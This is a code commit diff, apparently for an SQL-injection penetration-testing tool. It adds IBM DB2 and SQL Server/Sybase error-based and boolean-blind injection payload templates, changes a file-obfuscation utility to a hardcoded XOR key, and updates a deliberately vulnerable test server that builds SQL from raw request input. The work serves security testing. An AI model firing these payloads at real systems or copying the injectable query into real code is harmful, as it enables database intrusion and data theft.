Minor patch

* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables

.travis.yml

@@ -11,7 +11,6 @@ jobs:
           dist: trusty
         - python: 3.9-dev
           dist: bionic
-sudo: false
 git:
     depth: 1
 script:

data/xml/boundaries.xml

@@ -213,6 +213,15 @@ Formats:
         <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
     </boundary>
 
+    <boundary>
+        <level>2</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>3</ptype>
+        <prefix>%'</prefix>
+        <suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
+    </boundary>
+
     <boundary>
         <level>2</level>
         <clause>1</clause>

data/xml/payloads/boolean_blind.xml

@@ -824,7 +824,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -845,7 +844,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1193,7 +1191,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1214,7 +1211,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1332,6 +1328,44 @@ Tag: <test>
         </details>
     </test>
 
+    <test>
+        <title>IBM DB2 boolean-based blind - ORDER BY clause</title>
+        <stype>1</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
+        <stype>1</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
     <!-- Works in MySQL, Oracle, etc. -->
     <test>
         <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1474,7 +1507,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

data/xml/payloads/error_based.xml

@@ -404,7 +404,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -425,7 +424,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -446,7 +444,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -467,7 +464,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -488,7 +484,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -509,7 +504,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -672,7 +666,7 @@
         <stype>2</stype>
         <level>3</level>
         <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>1</where>
         <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -689,9 +683,9 @@
     <test>
         <title>Firebird OR error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
         <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>2</where>
         <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -710,7 +704,7 @@
         <stype>2</stype>
         <level>3</level>
         <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>1</where>
         <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -727,9 +721,9 @@
     <test>
         <title>MonetDB OR error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
         <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>2</where>
         <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -748,7 +742,7 @@
         <stype>2</stype>
         <level>3</level>
         <risk>1</risk>
-        <clause>1,8,9</clause>
+        <clause>1</clause>
         <where>1</where>
         <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
         <request>
@@ -765,9 +759,9 @@
     <test>
         <title>Vertica OR error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
         <risk>3</risk>
-        <clause>1,8,9</clause>
+        <clause>1</clause>
         <where>2</where>
         <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
         <request>
@@ -780,6 +774,45 @@
             <dbms>Vertica</dbms>
         </details>
     </test>
+
+    <test>
+        <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time
@@ -1000,7 +1033,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1021,7 +1053,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1062,6 +1093,25 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>IBM DB2 error-based - Parameter replace</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,3</clause>
+        <where>3</where>
+        <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
     <!-- End of error-based tests - Parameter replace -->
 
     <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1205,7 +1255,6 @@
         </details>
     </test>
 
-
     <test>
         <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
         <stype>2</stype>
@@ -1261,7 +1310,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1289,7 +1337,7 @@
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
-        <clause>2,3</clause>
+        <clause>3</clause>
         <where>1</where>
         <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
         <request>
@@ -1302,9 +1350,51 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>IBM DB2 error-based - ORDER BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access
          and SAP MaxDB - no known techniques at this time
     -->
     <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
+
+    <!-- Error-based tests - stacking -->
+    <test>
+        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
+        <request>
+            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+    <!-- End of error-based tests - stacking -->
 </root>

data/xml/payloads/inline_query.xml

@@ -73,7 +73,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

data/xml/payloads/stacked_queries.xml

@@ -264,7 +264,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -286,7 +285,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -307,7 +305,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -328,7 +325,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

data/xml/payloads/time_blind.xml

@@ -588,7 +588,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -610,7 +609,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -631,7 +629,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -652,7 +649,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -674,7 +670,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -696,7 +691,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1638,7 +1632,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1936,7 +1929,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

doc/THANKS.md

@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
 Sherif El-Deeb, <archeldeeb(at)gmail.com>
 * for reporting a minor bug
 
+Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
+* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
+
 Stefano Di Paola, <stefano.dipaola(at)wisec.it>
 * for suggesting good features
 
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
 Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
 * for contributing a Portuguese translation of README.md
 
+Francesco Marano, <francesco.mrn24(at)gmail.com>
+* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
+
 Ahmad Maulana, <matdhule(at)gmail.com>
 * for contributing a tamper script halfversionedmorekeywords.py
 
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
 Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
 * for reporting a minor bug
 
+Henri Salo <henri(at)nerv.fi>
+* for a donation
+
 Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
 * for reporting a minor bug
 

extra/cloak/cloak.py

@@ -19,28 +19,26 @@ from optparse import OptionParser
 
 if sys.version_info >= (3, 0):
     xrange = range
+    ord = lambda _: _
 
-def hideAscii(data):
+KEY = b"Beeth7hoyooleeF0"
-    retVal = b""
-    for i in xrange(len(data)):
-        value = data[i] if isinstance(data[i], int) else ord(data[i])
-        retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
 
-    return retVal
+def xor(message, key):
+    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
 
 def cloak(inputFile=None, data=None):
     if data is None:
         with open(inputFile, "rb") as f:
             data = f.read()
 
-    return hideAscii(zlib.compress(data))
+    return xor(zlib.compress(data), KEY)
 
 def decloak(inputFile=None, data=None):
     if data is None:
         with open(inputFile, "rb") as f:
             data = f.read()
     try:
-        data = zlib.decompress(hideAscii(data))
+        data = zlib.decompress(xor(data, KEY))
     except Exception as ex:
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
 
 def main():
     usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
+    parser = OptionParser(usage=usage, version='0.2')
 
     try:
         parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')

extra/vulnserver/vulnserver.py

@@ -18,6 +18,7 @@ import traceback
 
 PY3 = sys.version_info >= (3, 0)
 UNICODE_ENCODING = "utf-8"
+DEBUG = False
 
 if PY3:
     from http.client import INTERNAL_SERVER_ERROR
@@ -83,7 +84,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
         try:
             HTTPServer.finish_request(self, *args, **kwargs)
         except Exception:
-            traceback.print_exc()
+            if DEBUG:
+                traceback.print_exc()
 
 class ReqHandler(BaseHTTPRequestHandler):
     def do_REQUEST(self):
@@ -131,7 +133,7 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                 self.send_header("Connection", "close")
                 self.end_headers()
-                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+                self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
             else:
                 code, output = OK, ""
 
@@ -147,16 +149,21 @@ class ReqHandler(BaseHTTPRequestHandler):
                             _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output += "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b><br>\n"
-                    output += "<table border=\"1\">\n"
 
-                    for row in results:
+                    if results:
-                        output += "<tr>"
+                        output += "<table border=\"1\">\n"
-                        for value in row:
+
-                            output += "<td>%s</td>" % value
+                        for row in results:
-                        output += "</tr>\n"
+                            output += "<tr>"
+                            for value in row:
+                                output += "<td>%s</td>" % value
+                            output += "</tr>\n"
+
+                        output += "</table>\n"
+                    else:
+                        output += "no results found"
 
-                    output += "</table>\n"
                     output += "</body></html>"
                 except Exception as ex:
                     code = INTERNAL_SERVER_ERROR
@@ -221,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
     global _server
     try:
         _server = ThreadingServer((address, port), ReqHandler)
-        print("[i] running HTTP server at '%s:%d'" % (address, port))
+        print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
         _server.serve_forever()
     except KeyboardInterrupt:
         _server.socket.close()

lib/controller/checks.py

@@ -506,7 +506,7 @@ def checkSqlInjection(place, parameter, value):
                             falseRawResponse = "%s%s" % (falseHeaders, falsePage)
 
                             # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
-                            if not kb.negativeLogic:
+                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                 try:
                                     ratio = 1.0
                                     seqMatcher = getCurrentThreadData().seqMatcher
@@ -939,6 +939,9 @@ def checkFalsePositives(injection):
                 if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                     continue
 
+                if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
+                    continue
+
                 if randInt3 > randInt2 > randInt1:
                     break
 

lib/controller/controller.py

@@ -336,6 +336,10 @@ def start():
                         conf.httpHeaders.append((header, value))
                         break
 
+            if conf.data:
+                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
+                conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
+
             conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
 
             initTargetEnv()

lib/core/agent.py

@@ -172,12 +172,16 @@ class Agent(object):
 
             newValue = "%s%s" % (value, newValue)
 
-        newValue = self.cleanupPayload(newValue, origValue)
+        newValue = self.cleanupPayload(newValue, origValue) or ""
 
         if base64Encoding:
             _newValue = newValue
             _origValue = origValue
 
+            if newValue:
+                newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
+                newValue = self.adjustLateValues(newValue)
+
             # TODO: support for POST_HINT
             newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
             origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
@@ -420,7 +424,7 @@ class Agent(object):
         rootQuery = queries[Backend.getIdentifiedDbms()]
         hexField = field
 
-        if "hex" in rootQuery:
+        if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
             hexField = rootQuery.hex.query % field
         else:
             warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()

lib/core/bigarray.py

@@ -10,11 +10,11 @@ try:
 except:
     import pickle
 
-import bz2
 import itertools
 import os
 import sys
 import tempfile
+import zlib
 
 from lib.core.compat import xrange
 from lib.core.enums import MKSTEMP_PREFIX
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
 
 DEFAULT_SIZE_OF = sys.getsizeof(object())
 
-def _size_of(object_):
+def _size_of(instance):
     """
-    Returns total size of a given object_ (in bytes)
+    Returns total size of a given instance / object (in bytes)
     """
 
-    retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
+    retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
 
-    if isinstance(object_, dict):
+    if isinstance(instance, dict):
-        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
+        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
-    elif hasattr(object_, "__iter__"):
+    elif hasattr(instance, "__iter__"):
-        retval += sum(_size_of(_) for _ in object_ if _ != object_)
+        retval += sum(_size_of(_) for _ in instance if _ != instance)
 
     return retval
 
@@ -54,8 +54,8 @@ class BigArray(list):
 
     >>> _ = BigArray(xrange(100000))
     >>> _[20] = 0
-    >>> _[100]
+    >>> _[99999]
-    100
+    99999
     """
 
     def __init__(self, items=None):
@@ -92,7 +92,7 @@ class BigArray(list):
             self.chunks.pop()
             try:
                 with open(self.chunks[-1], "rb") as f:
-                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
+                    self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
             except IOError as ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex
@@ -113,7 +113,7 @@ class BigArray(list):
             self.filenames.add(filename)
             os.close(handle)
             with open(filename, "w+b") as f:
-                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
@@ -131,7 +131,7 @@ class BigArray(list):
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
+                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
             except Exception as ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex

lib/core/common.py

@@ -116,6 +116,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import DOLLAR_MARKER
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
@@ -675,17 +676,21 @@ def paramToDict(place, parameters=None):
                                     elif isinstance(current, dict):
                                         for key in current.keys():
                                             value = current[key]
-                                            if isinstance(value, (list, tuple, set, dict)):
+                                            if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
-                                                if value:
-                                                    walk(head, value)
-                                            elif isinstance(value, (bool, int, float, six.string_types)):
                                                 original = current[key]
                                                 if isinstance(value, bool):
                                                     current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                elif value is None:
+                                                    current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
+                                                elif value == []:
+                                                    current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
                                                 else:
                                                     current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
                                                 candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
                                                 current[key] = original
+                                            elif isinstance(value, (list, tuple, set, dict)):
+                                                if value:
+                                                    walk(head, value)
 
                                 deserialized = json.loads(testableParameters[parameter])
                                 walk(deserialized)
@@ -943,28 +948,31 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
 
     retVal = message
 
-    if message and (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
+    if message:
-        if level is None:
+        if (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
-            levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
+            if level is None:
+                levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
 
-            if len(levels) == 1:
+                if len(levels) == 1:
-                level = levels[0]
+                    level = levels[0]
 
-        if bold or color:
+            if bold or color:
-            retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
+                retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
-        elif level:
+            elif level:
-            try:
+                try:
-                level = getattr(logging, level, None)
+                    level = getattr(logging, level, None)
-            except:
+                except:
-                level = None
+                    level = None
-            retVal = LOGGER_HANDLER.colorize(message, level)
+                retVal = LOGGER_HANDLER.colorize(message, level)
-        else:
+            else:
-            match = re.search(r"\(([^)]*)\s*fork\)", message)
+                match = re.search(r"\(([^)]*)\s*fork\)", message)
-            if match:
+                if match:
-                retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
+                    retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
 
-            for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
+                for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
-                retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
+                    retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
+
+        message = message.strip()
 
     return retVal
 
@@ -988,6 +996,12 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
     Writes text to the stdout (console) stream
     """
 
+    if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
+        if re.search(r"\(\d+%\)", data):
+            data = ""
+        else:
+            data = "\n%s" % data.strip("\r")
+
     if not kb.get("threadException"):
         if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
             multiThreadMode = isMultiThreadMode()
@@ -1213,9 +1227,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
     """
 
     if seed is not None:
-        _ = getCurrentThreadData().random
+        _random = getCurrentThreadData().random
-        _.seed(seed)
+        _random.seed(seed)
-        choice = _.choice
+        choice = _random.choice
     else:
         choice = random.choice
 
@@ -1247,10 +1261,12 @@ def getHeader(headers, key):
     """
 
     retVal = None
-    for _ in (headers or {}):
+
-        if _.upper() == key.upper():
+    for header in (headers or {}):
-            retVal = headers[_]
+        if header.upper() == key.upper():
+            retVal = headers[header]
             break
+
     return retVal
 
 def checkPipedInput():
@@ -1259,7 +1275,7 @@ def checkPipedInput():
     # Reference: https://stackoverflow.com/a/33873570
     """
 
-    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
+    return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
 
 def isZipFile(filename):
     """
@@ -1349,9 +1365,9 @@ def parsePasswordHash(password):
